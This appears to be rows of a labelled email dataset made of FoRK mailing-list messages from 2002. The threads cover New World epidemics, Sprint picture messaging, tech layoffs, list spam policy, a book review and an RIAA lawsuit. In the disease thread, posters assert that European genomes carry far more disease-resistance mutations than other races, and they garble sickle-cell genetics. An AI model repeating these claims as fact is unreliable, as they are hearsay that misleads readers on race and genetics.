Lawrence Murphy wrote >Wasn't the Aztec population that greeted Cortez already largely >decimated by the microbiology brought over by DeSoto nearly a hundred >years before? Well IIRC, Cortez arrived in 1519, and DeSoto was born circa 1500. You do the math. I guess that's a ""no"". R PS: Funny how the New World world population supposedly had no immunity to Old World diseases and died like flies, but the Old World population was completely unaffected by New World diseases (other than tabacco and syphilis...) Bullshit meter red-lining again... http://xent.com/mailman/listinfo/fork",0,1 James Rogers ,fork@spamassassin.taint.org,"Sun, 18 Aug 2002 14:58:44 -0700",Infectious disease (was Re: Al'Qaeda's fantasy ideology),"On 8/18/02 2:12 PM, ""Robert Harley"" wrote: > > PS: Funny how the New World world population supposedly had no immunity > to Old World diseases and died like flies, but the Old World > population was completely unaffected by New World diseases (other > than tabacco and syphilis...) Bullshit meter red-lining again... You aren't the first person to ask this question, but over the last few years there have been some good answers to this coming from the genetics research folks. As I understand it, there is a growing body of genetic evidence that European immune systems are substantially tougher and more resistant to a wider range of infectious diseases than those found in other peoples around the world, including a surprisingly wide range of hereditary immunities and partial immunities/resistance to common viruses and bacteria found around the world. As a result, when the first wholesale mixing of people from different parts of the world started occurring on a regular basis, the Europeans fared much better than most others. The standard theory for this is that Europe was the first major region of the planet to become densely populated and urbanized (to the extent that they ""urbanized"" a thousand years ago). Because of this, Europe was a festering cauldron of disease without the benefit of modern sanitation and medicine for a thousand plus years, much more so than the rest of the world and suffered from repeated large-scale epidemics and plagues that took severe tolls on the population. Modern ethnic Europeans have genetics that survived a unique and brutal culling process by a rather extensive range of diseases over dozens of generations. What the geneticists are discovering is that for a great many of the world's most common infectious diseases, there is a percentage of the ethnically European population that has hereditary immunity and an even larger segment that has at least some hereditary resistance compared to people from other parts of the world. And for most ethnic Europeans it isn't just one disease, they have varying levels of genetic resistance to a veritable cornucopia of infectious diseases. Because of similarities in the mechanisms and characteristics of viruses and other pathogens around the world to ones that Europeans were exposed to, the robust defenses their genetics provided them against their native diseases frequently imparted some resistance to diseases which they had never been exposed. Cheers, -James Rogers jamesr@best.com http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","harley@argote.ch (Robert Harley), fork@spamassassin.taint.org","Sun, 18 Aug 2002 19:27:23 -0400",Re: Al'Qaeda's fantasy ideology: Policy Review no. 114,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 11:12 PM +0200 on 8/18/02, Robert Harley wrote: > PS: Funny how the New World world population supposedly had no > immunity > to Old World diseases and died like flies, but the Old World > population was completely unaffected by New World diseases > (other > than tabacco and syphilis...) Bullshit meter red-lining > again... See Jared Diamond's excellent ""Guns, Germs, and Steel"" for the story. Eurasians had outrageously huge, dense, populations to incubate and immunize whole classes of fatal diseases in, and unobstructed east-west trans-supercontinental disease transport vectors (horses, the silk road, sailing ships) to spread them around with. Game over, man. Same thing with war, technology, crops, domestic animals and everything else worth having in life. :-). Remember Joel Mokyr's definition of progress from ""The Lever of Riches"": Progress is more stuff cheaper. Cheers, RAH -----BEGIN PGP SIGNATURE----- Version: PGP 7.5 iQA/AwUBPWAtT8PxH8jf3ohaEQJ3yACghH1+45PZkGdiocf4RQFpO/fQdNUAoJ/n tIULaBVQjo/YWd4FlHA5sSRn =4WRa -----END PGP SIGNATURE----- -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' http://xent.com/mailman/listinfo/fork",0,1 """John Hall"" ",,"Sun, 18 Aug 2002 19:43:06 -0700",RE: Al'Qaeda's fantasy ideology: Policy Review no. 114,"The die offs in areas with better records parallel and support the claims that European diseases were devastating to all American hemisphere populations, and the reverse was never true. Unlike, for example, India or Asia. There is a hot dispute about the original size of the indigenous population, but the evidence for a high density in the Mexican area is sound. It was up here in the North or in the Amazon where I'm a little more suspicious of very high upward revisions. At least that was my take. I have never heard anyone seriously argue that European diseases were not a significant factor, or that there were not in fact a lot of Aztec people prior to Cortez. Gee, I've never before heard someone argue unseriously about it either. Do you have a reference for a book or article which does so? > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Robert > Harley > Sent: Sunday, August 18, 2002 4:57 PM > To: fork@spamassassin.taint.org > Cc: rah@shipwright.com > Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 > > >See Jared Diamond's excellent ""Guns, Germs, and Steel"" for the story. > > Yeah, I know the party line. The evidence for it is extremely meagre. > New Worlders had two entire continents and tens of millions of people, > which is a plenty big enough reservoir for infectious diseases to thrive > in. Their records show that they were plagued with them long before 1492. > > Take Ireland in the early 1800s. Assume a population of circa 8 > million. Take Ireland around 1900. Assume a population not much > above 3 million. Ignore natural variations between mortality and > natality. Omit emigration. Observe the Great Famine in the middle. > Deduce that it killed 5 million (actually about 1). Transpose to 16th > century Mexico. Grossly inflate estimates of pre-contact population, > because nobody has a damn clue what it was anyway. Underestimate > later population levels. Deduce that 10's of millions died. Lather, > rinse, repeat. > > R > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Mon, 19 Aug 2002 01:56:42 +0200 (CEST)",Re: Al'Qaeda's fantasy ideology: Policy Review no. 114,">See Jared Diamond's excellent ""Guns, Germs, and Steel"" for the story. Yeah, I know the party line. The evidence for it is extremely meagre. New Worlders had two entire continents and tens of millions of people, which is a plenty big enough reservoir for infectious diseases to thrive in. Their records show that they were plagued with them long before 1492. Take Ireland in the early 1800s. Assume a population of circa 8 million. Take Ireland around 1900. Assume a population not much above 3 million. Ignore natural variations between mortality and natality. Omit emigration. Observe the Great Famine in the middle. Deduce that it killed 5 million (actually about 1). Transpose to 16th century Mexico. Grossly inflate estimates of pre-contact population, because nobody has a damn clue what it was anyway. Underestimate later population levels. Deduce that 10's of millions died. Lather, rinse, repeat. R http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Mon, 19 Aug 2002 05:49:26 +0200 (CEST)",Re: Al'Qaeda's fantasy ideology: Policy Review no. 114,">There is a hot dispute about the original size of the indigenous >population, but the evidence for a high density in the Mexican area is >sound. It was up here in the North or in the Amazon where I'm a little >more suspicious of very high upward revisions. Right, there was definitely a relatively high density in Mexico, and much less elsewhere. Population estimates vary wildly and about all your average skeptic can do is take geometric means to get ballpark figures. While Central America may have had 20 or 30 million, vast areas of South America were uninhabited and other places very sparsely e.g., the plains Indians in what is now the U.S. may have been 2 million or so. There are those who claim that the Mexican population declined from 20 something million to circa 8 or 10 million in the 16th century, certainly, in part due to infectious diseases new and old, and other factors, and was probably in decline before contact. Others claim it declined from 80-ish million to 3 or 4 million and somehow deduce 95% mortality from imported diseases, and have a pretty clear agenda which makes me (for one) take their claims with a large grain of salt. About all that is certain is that anyone alive in 1500 was dead in 1600, in the Americas or elsewhere. R http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Mon, 19 Aug 2002 06:11:19 +0200 (CEST)",Re: Infectious disease (was Re: Al'Qaeda's fantasy ideology),"James Rogers wrote: >[...] As I understand it, there is a growing body of genetic evidence >that European immune systems are substantially tougher and more >resistant to a wider range of infectious diseases than those found in >other peoples around the world, [...] > >The standard theory for this is that Europe was the first major region of >the planet to become densely populated and urbanized (to the extent that >they ""urbanized"" a thousand years ago). [...] Another theory is that Europe was a rural backyard until the Renaissance, certainly when compared to big urban centres like Constantinople and Baghdad. I don't know the genetic studies of which you speak, but I know of one that is sort-of relevant: apparently men of Ashkenazi descent are susceptible to sickle-cell anemia and the probable reason is that the same genetic factor that causes that also protects women from tuberculosis (IIRC), which would have come in handy in central European towns at a time when the Jewish population was a lot more urbanised than average Joes. R http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,harley@argote.ch (Robert Harley),19 Aug 2002 00:25:46 -0400,Re: Al'Qaeda's fantasy ideology: Policy Review no. 114,">>>>> ""R"" == Robert Harley writes: R> Well IIRC, Cortez arrived in 1519, and DeSoto was born circa R> 1500. You do the math. Ah, I suppose so. If it wasn't DeSoto ... then who was it that landed in Southern Florida to be greeted by great cities of millions of mound-dwellers who had completely vanished by the time Cortez arrived to kill as many as he could? -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Mon, 19 Aug 2002 06:46:51 +0200 (CEST)",Re: Al'Qaeda's fantasy ideology: Policy Review no. 114,">[...] If it wasn't DeSoto ... then who was it that landed in Southern >Florida to be greeted by great cities of millions of mound-dwellers >who had completely vanished by the time Cortez arrived to kill as many >as he could? The tooth fairy? There were never millions of natives in Florida (until recently :). Cortez never went to Florida, AFAIK. Ponce de Leon discovered it. The Indian peoples he found there stuck around until a bunch of them moved to Cuba with the Spanish when a bunch of Seminole Indians invaded from the North with the English, in the seventeenth century. The remainder merged in with the new population, or died, or whatever, and their culture disappeared. R http://xent.com/mailman/listinfo/fork",0,1 """John Hall"" ",,"Sun, 18 Aug 2002 22:33:22 -0700",RE: Al'Qaeda's fantasy ideology: Policy Review no. 114,"I thought the mounds were along the southern Mississipi -- and the operating theory is that the diseases spread ahead of white explorers and got them before the whites even showed up. > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Gary > Lawrence Murphy > Sent: Sunday, August 18, 2002 9:26 PM > To: Robert Harley > Cc: fork@spamassassin.taint.org > Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 > > >>>>> ""R"" == Robert Harley writes: > > R> Well IIRC, Cortez arrived in 1519, and DeSoto was born circa > R> 1500. You do the math. > > Ah, I suppose so. If it wasn't DeSoto ... then who was it that landed > in Southern Florida to be greeted by great cities of millions of > mound-dwellers who had completely vanished by the time Cortez arrived > to kill as many as he could? > > -- > Gary Lawrence Murphy TeleDynamics Communications Inc > Business Advantage through Community Software : http://www.teledyn.com > ""Computers are useless. They can only give you answers.""(Pablo Picasso) > > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 """Rob Shavell"" ",,"Sun, 18 Aug 2002 23:43:09 -0700",sprint delivers the next big thing??,"sprint, if you haven't seen the marketing yet, is 1st to US market w/postwap mobile data svc. to me, there is nada more interesting and impactful going down in the tech world than mobile visual communications.. and yet no one seems to give much of a damn that right now that 2 persons can take photos and share them instantly across space. this is one of the biggest - and last - fundamental changes in human communications. will be as big as the browser. http://www.pcsvision.com/pictures.html http://xent.com/mailman/listinfo/fork",0,1 Steve Nordquist ,fork@spamassassin.taint.org,"Mon, 19 Aug 2002 01:43:39 -0500",Re: NASA mindreading,"&> Seems also from the news being reported that it's likely they already &> have a slice of that pie, which says something about the mindset of &> the people handing out the slices. When you can hold and sponsor a giant restrictive device (using giant restrictorism principles, then,) conference/exhibition and get 30 invited exhibitors, with lecturedemos, on elastic polity, concepts of public responsibility have gone rather far off theory into quartering. The way I reckon it, they plan on fixing the seats/plane and security problem by further sectioning airplanes: 1- Checked luggage 2- Calcium formerly in passengers and crew 3- The rest of the passengers 4- The cabin and crew, who get a calcium substitute more readily controlled by a quorum of preservatory agencies. 5 (optional:) - Premium services and DRM for checked laptops. They reactivate calcium channels and put the calcium back when you arrive. If you don't like it, you have to claim it as they put the calcium back, subject to retries, and you have to remember the flight number you actually arrived on to do that. ...and you suddenly know all about vendors! http://xent.com/mailman/listinfo/fork",0,1 James Rogers ,fork@spamassassin.taint.org,"Sun, 18 Aug 2002 23:46:56 -0700",Re: Infectious disease (was Re: Al'Qaeda's fantasy ideology),"On 8/18/02 9:11 PM, ""Robert Harley"" wrote: > > Another theory is that Europe was a rural backyard until the Renaissance, > certainly when compared to big urban centres like Constantinople and Baghdad. It is possible; hell if I know. > I don't know the genetic studies of which you speak, but I know of one that > is sort-of relevant: apparently men of Ashkenazi descent are susceptible > to sickle-cell anemia and the probable reason is that the same genetic > factor that causes that also protects women from tuberculosis (IIRC), which > would have come in handy in central European towns at a time when the Jewish > population was a lot more urbanised than average Joes. I actually hear about this from people who are researchers in pharma-biotech. My authority isn't much better than ""they say"", but they say that they've uncovered quite a few advantageous mutations in the ethnic European genome that protect against quite a few different diseases, mutations which are not found in various African, Asian, and other populations that they also study. Based on the genome research (as it relates to infectious disease, which is among their primary interests) of these various populations around the world, they and others are finding far more protective mutations in the Caucasian/European genome than in the other race populations they survey. All the races and ethnic subgroups usually have genetic mutations specific to them that provide protection against specific infectious diseases. What they are saying is that they are finding far more in the European genome than in the others, and it isn't because nobody is looking elsewhere. You can find studies and results like this in the science wires. For example, one which I remember off the top of my head is the identified genetic mutation that makes something like 1% of Caucasians immune to HIV-1, and another 10-20% or so resistant to it. Obviously, the protective mutation occurred at some point in time prior to HIV-1 being introduced into the European population. What the researchers I've talked to seem to be saying is that Europeans express a lot more of these types of gene mutations, with similar protections from infectious disease, than other populations. Nobody really knows why for sure. On the upside, identifying genetic immunities to infectious disease helps the bio-techs come up with pharmacological solutions for people that don't have immunity. -James Rogers jamesr@best.com http://xent.com/mailman/listinfo/fork",0,1 Steve Nordquist ,fork@spamassassin.taint.org,"Mon, 19 Aug 2002 02:08:04 -0500",Re: Al'Qaeda's fantasy ideology: Policy Review no. 114,"I don't know for skimming that article which D&D (dunderheads and disease? Dowry and Dissent? Durer and Durant?) was given firmament, but the title's a bit redundant. Can we drop the ""Al-"" somehow? JBIG is sweet. My scanner driver is not. Remind me how to ask for UHCI detail knowledgebases I ent got. http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,Rob Shavell ,"Mon, 19 Aug 2002 10:34:21 +0200 (CEST)",Re: sprint delivers the next big thing??,"On Sun, 18 Aug 2002, Rob Shavell wrote: > down in the tech world than mobile visual communications.. and yet no one > seems to give much of a damn that right now that 2 persons can take photos > and share them instantly across space. this is one of the biggest - and The word ""trivial"" comes to mind. > last - fundamental changes in human communications. will be as big as the > browser. Remote realtime streaming video is neat, but sharing pictures? You invoke big words rather readily. http://xent.com/mailman/listinfo/fork",0,1 Mike Masnick ,"""Rob Shavell"" , ","Mon, 19 Aug 2002 00:26:33 -0700",Re: sprint delivers the next big thing??,"At 11:43 PM 8/18/02 -0700, Rob Shavell wrote: >sprint, if you haven't seen the marketing yet, is 1st to US market w/postwap >mobile data svc. Small nitpick: Sprint PCS wasn't really first to market with their high speed data service. Some would say they were actually last to market. The only thing that was first about this is what they're calling ""nationwide coverage"", and you could even (and perhaps should) argue with that. > to me, there is nada more interesting and impactful going >down in the tech world than mobile visual communications.. and yet no one >seems to give much of a damn that right now that 2 persons can take photos >and share them instantly across space. this is one of the biggest - and >last - fundamental changes in human communications. will be as big as the >browser. Can you clarify why you think this is so? I'm in the midst of an ongoing argument with a guy who works for me about this very subject. He, like you, thinks that things like MMS are going to change the world. I am not convinced. What exactly about sending pictures to each other is going to have such a huge impact? I'm waiting to be convinced. I just don't see how it changes human communication in any really amazing way - and no one who believes it has yet done a good job explaining it to me. I can understand SMS taking off, since communicating short text messages can be very useful in many situations. However, I just don't see what's the compelling reason for sending pictures around to each other on a regular basis. Are there instances when it makes sense? Sure, I can think of plenty where it's a nice to have, but very few where it would be a ""man, I need this"" type of feature. I mean, right now, at my desk, it's easy for me to text message with lots of people, and I do all the time. If I wanted to, I could also very easily snap a picture and send it to them, but I don't. I did once, after I got a really bad haircut, and a friend wanted to see how it looked - but that's a fairly limited use. Obviously, that's just one case, and maybe I'm just too old (argh!) to really ""get"" this new photo taking and sharing stuff, but I'm really trying to understand. So, I'm not saying it won't be a ""fundamental change in human communications"", but I'd just like to know why you think it will be? Mike http://xent.com/mailman/listinfo/fork",0,1 """Adam L. Beberg"" ",,"Mon, 19 Aug 2002 01:46:14 -0700 (PDT)",Bits from the job front...,"As yet another wave of people I know seem to have lost their jobs last week, here is the latest in what I'm seeing... * Even knowing a CTO/CEO/CFO may not even get your resume looked at, the feedback I'm getting is that hiring managers are only considering family and extended family for jobs - everyone has plenty of unemployed relatives. * Most job sites are now almost empty - so the practice of posting ""resume bait"" jobs is coming to an end. The postings they do have are months old bait. This is now a completely pointless way to look for a job. * We're almost flatlne in jobs created for several months, where population growth needs about 120k jobs a month to keep things steady. * Unemployment rates are only staying steady becasue people drop out of the workforce number after they cant find a job for a long time. The ""not in labor force"" is rising 400k a month. International numbers are no better - technology is replacing people, especially the people tha tmake the technoogy. * Grad school programs are stuffed full of people for every non-tech major. Colleges are having big headaches dealing with all the day-job refugees. * Spam for porn, ink, and stocks has dropped off, spam (the english ones I see subject lines for) now seems to be dominated by work-at-home scams and resume services. That's got to be a BAD sign. * FoRK is now almost all spam, somebody fix the damn subscriber-only-posting setting already, dont make me show up at your house Rohit ;) - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ","""Adam L. Beberg"" ","Mon, 19 Aug 2002 04:50:56 -0700",Re: Bits from the job front...,"> * FoRK is now almost all spam, somebody fix the damn subscriber-only-posting > setting already, dont make me show up at your house Rohit ;) Upon a similar (albeit slightly friendlier :-) threat to Rohit et. al., I have received a promise that things will be fixed Real Soon Now. Which is good because I don't want to have to piss off Kragen :-) - Joe http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","irregulars@tb.tf, fork@spamassassin.taint.org, nettime-l@bbs.thing.net","Mon, 19 Aug 2002 09:02:52 -0400",PGP Corp. Purchases PGP Desktop Encryption and Wireless Product Lines from NET,"--- begin forwarded text To: rah@ibuc.com From: ""Network Associates"" Date: Mon, 19 Aug 2002 05:34:11 -0700 Reply-To: ""Network Associates"" Subject: PGP Corp. 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Yahoo! has signed the ""Public Pledge on Self-discipline for China Internet Industry"" (more here http://www.dfn.org/voices/china/selfdiscipline.htm ), essentially a promise to help police Chinese internet users for the State: >>>From this article in The Nando Times: http://www.nandotimes.com/technology/story/494845p-3946998c.html The Chinese version of the popular Yahoo! Internet portal risks becoming an online policeman for China's communist government if it keeps a promise to voluntarily investigate potentially subversive content, a human rights group has warned. ""If it implements the pledge, Yahoo! will become an agent of Chinese law enforcement,"" Kenneth Roth, Human Rights Watch's executive director, said Friday. ""It will switch from being an information gateway to an information gatekeeper."" More from Human Rights Watch. http://hrw.org/press/2002/08/yahoo080902.htm ---------------------------- http://xent.com/mailman/listinfo/fork",0,1 Rohit Khare ,fork@spamassassin.taint.org,"Mon, 19 Aug 2002 14:05:34 -0700","Washington Post Review of Xander's Book, _Siberia Bound_","... I'll assume that, on general principle, you've all gone out and bought a copy of fellow FoRKer Alexander Blakely's new book. While the review is broadly fair, I have to admit that the criticisim is a little facile. The key to writing, as with software, is to take away detail, not add more. But even a map would have helped with all the details of how vast Xander & Natasha (& Max!!)'s territory is... Best, Rohit PS. feel free to drop by SF tonight for his reading/signing! =============================================================== Monday, August 19 at 7 pm Alexander Blakely Siberia Bound is a coming-of-age account of life as an entrepreneur in a new wild-and-free-market Russia of the early 1990s. Alexander Blakely uses his gift for storytelling to describe the four years he spent living and working toward the American dream in the former Soviet Union. A Clean Well-Lighted Place for Books at Opera Plaza 601 Van Ness Avenue San Francisco, CA 94102 OUR DIGITS Phone: (415) 441-6670 Fax: (415) 567-6885 Email: books@bookstore.com ===================================================== http://www.washingtonpost.com/wp-dyn/articles/A24428-2002Aug15.html 'Siberia Bound: Chasing the American Dream on Russia's Wild Frontier' by Alexander Blakely Reviewed by David Tuller Sunday, August 18, 2002; Page BW08 SIBERIA BOUND Chasing the American Dream On Russia's Wild Frontier By Alexander Blakely Sourcebooks. 320 pp. $22.95 Judging from Siberia Bound, Alexander Blakely seems like a pretty cool guy -- adventurous, engaging and fun to hang out with. After all, most chroniclers of Russian life base their tales in Moscow or, alternately, St. Petersburg, the most livable of Russia's not-very-livable cities. Deciding instead to settle in a former academic community outside of Novosibirsk, one of Siberia's major cities, Blakely set out to pursue, as his book's subtitle declares, ""the American dream on Russia's wild frontier."" Blakely, who moved to Siberia after finishing college with an economics degree, has a breezy writing style. And although his book is flawed in many respects, it does include some sharp observations of life in Russia. ""Usually with construction,"" he tells us, for instance, ""you have two choices: 1) you can do it quickly, or 2) you can do it right. The Soviet construction worker . . . takes his time doing things wrong."" Anyone who has spent time in Siberia knows that its inhabitants are a breed apart. They disdain their compatriots in the country's Western regions and pride themselves -- perhaps excessively -- on their courage, strength and inner fortitude. Siberia, in fact, occupies a space in the Russian national psyche similar to that of the Wild West in American mythology. The efforts throughout the 16th and 17th centuries to settle Siberia's vast expanse and exploit its natural resources still resonate with Russians. So does the region's role as a convenient dumping ground for criminals and political dissidents during the czarist centuries and as home to the cruel network of gulags in Soviet times. Unfortunately, little of this rich brew of history and myth makes an appearance in Siberia Bound. Neither do lots of other pertinent facts. Russians often say that, in Russia, anything can happen -- and usually does. So it's easy to believe that two young men could establish a chocolate business on little more than hope, smarts and chutzpah. But while Blakely describes establishing a cocoa-bean importing business with his friend Sasha, we never learn how they met in the first place or why he believes Sasha to be a trustworthy associate. The two of them strike a deal to sell their beans to a local chocolate factory, yet we find out virtually nothing about the chocolate the factory produces. Is it tasty? Disgusting? Are we talking chocolate bars, chocolate truffles or chocolate syrup? A few details would go a long way here. The author has the makings of a terrific story. But even though Siberia Bound includes frequent humorous episodes, Blakely generally fails to transform the pungent ingredients into a satisfying meal. The constant descriptions of encounters and conversations ultimately differ little from one another. People are forever winking, smirking and slapping one another on the back. Slamming down shots of vodka and making sentimental toasts to women and friendship play an inevitable role in any account of Russian life, but reading about such occasions becomes tiresome after the 20th or 30th repetition. Blakely is also given to facile comments that are meant to sound smart but often fall flat. ""Democracy and the free market, the best institutions the West had to offer, stormed over the borders and ran deep into Russia,"" he tells us. ""But like all foreign armies throughout history, they quickly were spread too thin and became diluted."" And then there's this summation of his time in Russia: ""Those four years have left me with a lifetime of rabid ambivalence to chew on until I've got no teeth left."" Blakely manages to include a few unpleasant -- and wholly unnecessary -- laughs at the expense of Chinese workers and gays. And although I like wordplay as much as the next guy, it's jarring when non-English-speaking characters make puns in English. ""In a pinch,"" says one character, a chocolate factory director who warns Blakely not to store extra cocoa beans on site, ""I'm afraid we would probably take a pinch."" Some of these faults wouldn't matter if Siberia Bound were a picaresque novel or an account that didn't aspire to authenticity. But the effect here is to undermine a reader's faith in the narrator's reliability and to reduce most of the characters to the stock figures encountered in dozens of other accounts of Russian life. So in the end, I believed the broad contours of Blakely's story but found it hard to take seriously many of the particulars. And his ultimate conclusion -- that capitalism, material comfort and wealth do not bring happiness -- hardly qualifies as a revelation. David Tuller is a contributing writer at Salon.com and the author of ""Cracks in the Iron Closet: Travels in Gay and Lesbian Russia."" 2002 The Washington Post Company http://xent.com/mailman/listinfo/fork",0,1 Rohit Khare ,fork@spamassassin.taint.org,"Mon, 19 Aug 2002 15:03:37 -0700",POLICY CHANGE: subscriber-only posting,"Sorry, gang, but I've flipped the switch. If your posting address doesn't match your subscription address, or if you've instructed a robot to forkpost on your behalf, it'll get held, silently, for me or Kragen to review. Which will be rarely, so be warned. Let's see how this works out for a week or so... Rohit --- My permanent email address is khare@alumni.caltech.edu http://xent.com/mailman/listinfo/fork",0,1 Ian Andrew Bell ,"""Joseph S. Barrera III"" ","Mon, 19 Aug 2002 17:38:23 -0700",Re: sprint delivers the next big thing??,"I can't see it either. I do however disagree with Joe in that it needs to be 2+MPixels to be useful. Value is not always necessarily defined by quality (just look at 802.11). If I had a self-contained communications unit that let me share things: documents, the weather, my new hairdo, by newborn baby, etc. and it fit in my pocket then it might encourage me to share those things more often. If we're talking on the phone and you ask me what the weather is like and I say ""hang on"", outstretch the device with my arm extended, press a button, and instantly send you a picture on me with blue sky in the background, that has value. But if I say ""hang on"", fumble around in my briefcase for a digital camera, and after 5 minutes of plugging and praying with USB finally am able to take a photo of me, bound by several feet of cable and multiple devices, well, that doesn't really have value. If I'm a Paparazzi I'd love to be able to send high-res photos using my mobile phone because that has real economic impact, and I could put up with the hassle for the amount of time it saves me. However, I don't think that is the market that Sprint PCS is contemplating. The fact that Sprint has not made the assumption that both the sender and recipient of the picture are using their mobile phones will help this survive. Gets around the whole ""fax"" problem (where both sender and receiver have to have faxes in order for that technology to be useful). On the whole, not very useful for regular Joes (pun intended). Put the camera in the phone (even a low-res one) and then it'd at least be cool. -Ian. On Monday, August 19, 2002, at 05:04 AM, Joseph S. Barrera III wrote: > Rob Shavell wrote: >> sprint, if you haven't seen the marketing yet, is 1st to US >> market w/postwap >> mobile data svc. to me, there is nada more interesting and >> impactful going >> down in the tech world than mobile visual communications.. and >> yet no one >> seems to give much of a damn that right now that 2 persons can >> take photos >> and share them instantly across space. > > You're right. Or at least, I don't. I saw an advert for it on TV > last night (can't miss Futurama :-) and I thought, ""boy, that's > dumb."" > If I wanted to share pictures with someone, I'd email them to them, > where they could see them on a 1024x or 1600x display, instead of > looking at a postage stamp on their cell phone. Or, I'd bring a > printout > if they needed to see it. Etc. We all have 2+Mpixel cameras now > anyways, > right? (This is one reason why I never bought the camera attachment > for my handspring visor -- resolution was too poor.) > > In fact, with a 1GB microdrive in my camera, I often just keep > old pictures around, and I can show people pictures using the > camera's display. Which is bound to be better than the cell phone's. > > - Joe > -- The Combatant State is your father and your mother, your only > protector, the totality of your interests. No discipline can > be stern enough for the man who denies that by word or deed. > > > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 """Adam L. Beberg"" ",Rohit Khare ,"Mon, 19 Aug 2002 18:17:37 -0700 (PDT)",Re: POLICY CHANGE: subscriber-only posting,"On Mon, 19 Aug 2002, Rohit Khare wrote: > Sorry, gang, but I've flipped the switch. If your posting address > doesn't match your subscription address, or if you've instructed a robot > to forkpost on your behalf, it'll get held, silently, for me or Kragen > to review. Which will be rarely, so be warned. > > Let's see how this works out for a week or so... And I didnt even need to visit, woohoo :) ... Proving that the threat of my presence gets action in only 14 hours. I think I should be offended, but I'll be too busy basking in the glow of a spam-free FoRK :) - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com http://xent.com/mailman/listinfo/fork",0,1 bitbitch@magnesium.net,fork@spamassassin.taint.org,"Mon, 19 Aug 2002 22:19:17 -0400",This little domain went to China....,"The RIAA continues to amaze me. Everyone might want to grok the news yahoo has: http://rd.yahoo.com/dailynews/nm/tc_nm/inlinks/*http://Listen4ever.com And if you're really bored, go ahead and read the papers that were filed by the RIAA against the major backbone providers. http://www.riaa.com/pdf/Listen4Ever.pdf So it looks like the RIAA is getting bored with its usual tack of suing the peer-to-peer services, and is instead using the DMCA to sue ISPs and backbones into compliance -- They want said backbones to block the ip address of the listen4ever.com server due to listen4ever's alleged infringement of copyright. To quote the Motion that the RIAA issued: ""Plaintiffs request that the Court issue a preliminary injunction requiring Defendants to block communication to and from Listen4ever's servers that travel through Defendants' backbone routing systems"". At least according to the RIAA (probably for bonus terror tactics ) the Listen4ever site is even more formidable than that bane of p2p goodness, Napster, due to the fact that its on a centralized server, out of their reach of RIAA/DMCA control (its located in China), and because according to the RIAA it facilitates the downloading of entire albums. Apparently listen4ever has a few other sites floating around, and the RIAA has been unsuccessful in getting any of them to voluntarily surrender service(1). Gotta love the RIAA for jumping into this lawsuit with the customer's interests in mind. How lawyers can write drivel along the lines of 'if you dont stop these guys, we'll run out of money and we won't be able to supply you new music!' just blows my mind, especially in this day and age. The RIAA has enough money to file inane lawsuits against backbone providers, but they don't have enough money to produce new artists? Something seems wrong here. Here's my problem. Say the RIAA wins in court, and the backbone providers comply. Their biggest hurdle is now accomplished, and one hell of a terrible precident is/can be set. At least in the RIAA's case, I'm sure once they get a Court-mandated Ok for this particular site, they'll just go ahead, write their nice friendly lawyer letters, and demand that subsequent IP addresses also be blocked, as they too route to sites that are problematic to the RIAA. Even worse, the concept that other groups (the first that flashed into my little brain being the Scientologists) also decide that this is the way to go. If the RIAA prevails, they have record set, albiet in NY only, that can be pointed back to, and used in other cases. Eventually this will hit a large enough court that precident will set, and we have a very quiet, very non-reported event occuring from then on, the systematic C&Ding of the Internet. Anything that violates the DMCA, given its takedown provisions, might now potentially fall prey to a Cease & Desist letter. Rather than appealing, the backbone providers will just agree -- as they seem likely to do 'provided a court order'. Point being is that soon this won't take a court order. A nastygram will suffice and we'll wonder where all the new music/information/dissenting opinions/ criticisms went. This is a scary road we're running down here. So nice to see that its still hush-hush in the geek community. Whats more bizzare is some of the support(?) that the RIAA seemed to get. I'm curious for instance, how Dave Farber got dragged into this... (2) Dave, you still read FoRK? (1) Save for one, lmp3.com, which was listed as a redirect site in the court documents, has since gone down. Their website has a humorous little note: ""Lmp3 will be closed and will never come back! "". Listen4ever.com is not responding, but i'm not quite sure if thats due to backbone compliance or the site being overburdened. (2) Declaration of Prof. David J. Farber: http://www.riaa.com/pdf/Listen4Ever.pdf (p. 95) A very disgruntled, bitbitch http://xent.com/mailman/listinfo/fork",0,1 """John Hall"" ",,"Mon, 19 Aug 2002 19:55:46 -0700",Test Test ignore ,"John Hall 13464 95th Ave NE Kirkland WA 98034 > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Rohit > Khare > Sent: Monday, August 19, 2002 3:04 PM > To: fork@spamassassin.taint.org > Subject: POLICY CHANGE: subscriber-only posting > > Sorry, gang, but I've flipped the switch. If your posting address > doesn't match your subscription address, or if you've instructed a robot > to forkpost on your behalf, it'll get held, silently, for me or Kragen > to review. Which will be rarely, so be warned. > > Let's see how this works out for a week or so... > > Rohit > > --- > My permanent email address is khare@alumni.caltech.edu > > http://xent.com/mailman/listinfo/fork 